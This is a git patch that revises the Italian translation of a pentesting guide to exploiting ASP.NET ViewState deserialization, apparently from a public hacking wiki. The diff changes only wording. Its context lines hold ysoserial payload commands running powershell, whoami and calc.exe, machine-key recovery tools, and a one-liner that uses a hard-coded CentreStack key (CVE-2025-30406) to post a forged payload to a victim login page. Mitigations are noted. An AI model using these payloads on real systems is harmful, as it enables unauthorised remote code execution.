From 3e58c949baf66a76a821d07bec8649ed68ac3e41 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 09:12:18 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 27 +++++++++---------- 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 44d35f80a..d86488c06 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -24,7 +24,7 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in 1. Per **qualsiasi versione di .NET**, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo. 2. Per **versioni inferiori a 4.5**, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r." 3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro." -4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r." +4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (che siano entrambe true, o una sia true e l'altra false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r." ### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false @@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\ -Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ +Si potrebbe assumere che se **ViewState** è **assente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\ Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**. ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -50,7 +50,7 @@ Per **abilitare ViewState MAC** per una **pagina specifica** dobbiamo apportare ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -Possiamo farlo anche per l'applicazione **complessiva** impostandolo nel file **web.config** come mostrato di seguito: +Possiamo farlo anche per l'**applicazione** **complessiva** impostandolo nel file **web.config** come mostrato di seguito: ```xml @@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator` **ma questi**: +Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator`, **ma questi**: ```bash --apppath="/" --path="/hello.aspx" ``` @@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -Per una descrizione più dettagliata di IISDirPath e TargetPagePath [fare riferimento qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +Per una descrizione più dettagliata di IISDirPath e TargetPagePath [riferisciti qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) Oppure, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valore generatore): ```bash @@ -172,7 +172,8 @@ Controlla per [ulteriori informazioni qui]( <%@ Import Namespace="System.Reflection" %> @@ -202,22 +203,20 @@ Questo **primitive di key-exfiltration** è stato massicciamente sfruttato contr ## Scenari di sfruttamento nel mondo reale 2024-2025 e chiavi macchina hard-coded -### Ondata di “chiavi macchina pubblicamente divulgate” di Microsoft (Dic 2024 – Feb 2025) -Microsoft Threat Intelligence ha segnalato sfruttamenti di massa di siti ASP.NET in cui il *machineKey* era stato precedentemente leakato su fonti pubbliche (GitHub gists, post di blog, siti di paste). Gli avversari hanno enumerato queste chiavi e generato gadget validi `__VIEWSTATE` con i nuovi flag `ysoserial.net` 1.41 `--minify` e `--islegacy` per eludere i limiti di lunghezza del WAF: +### Ondata di “chiavi macchina divulgate pubblicamente” di Microsoft (Dic 2024 – Feb 2025) +Microsoft Threat Intelligence ha segnalato sfruttamenti di massa di siti ASP.NET dove il *machineKey* era stato precedentemente leakato su fonti pubbliche (gists di GitHub, post di blog, siti di paste). Gli avversari hanno enumerato queste chiavi e generato gadget `__VIEWSTATE` validi con i nuovi flag `ysoserial.net` 1.41 `--minify` e `--islegacy` per eludere i limiti di lunghezza del WAF: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ --decryptionkey= --decryptionalg=AES \ --generator= --minify ``` -Ruotare le chiavi statiche o passare a chiavi *AutoGenerate* in Web .config (``) mitiga questa classe di attacchi. {{#ref}} - -{{#endref}} +Ruotare le chiavi statiche o passare a chiavi *AutoGenerate* in Web .config (``) mitiga questa classe di attacchi. ### CVE-2025-30406 – Chiavi hard-coded di Gladinet CentreStack / Triofox -Kudelski Security ha scoperto che diverse versioni di CentreStack / Triofox sono state distribuite con valori `machineKey` identici, consentendo l'esecuzione remota di codice non autenticato tramite la falsificazione di ViewState (CVE-2025-30406). +Kudelski Security ha scoperto che più versioni di CentreStack / Triofox sono state distribuite con valori `machineKey` identici, consentendo l'esecuzione remota di codice non autenticato tramite forgia di ViewState (CVE-2025-30406). -Exploit in una riga: +One-liner exploit: ```bash ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ @@ -226,7 +225,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --decryptionalg=AES --generator=24D41AAB --minify \ | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx ``` -Fissato in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aggiorna o sostituisci immediatamente le chiavi. {{#ref}} +Fissato in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aggiorna o sostituisci le chiavi immediatamente. {{#ref}} {{#endref}}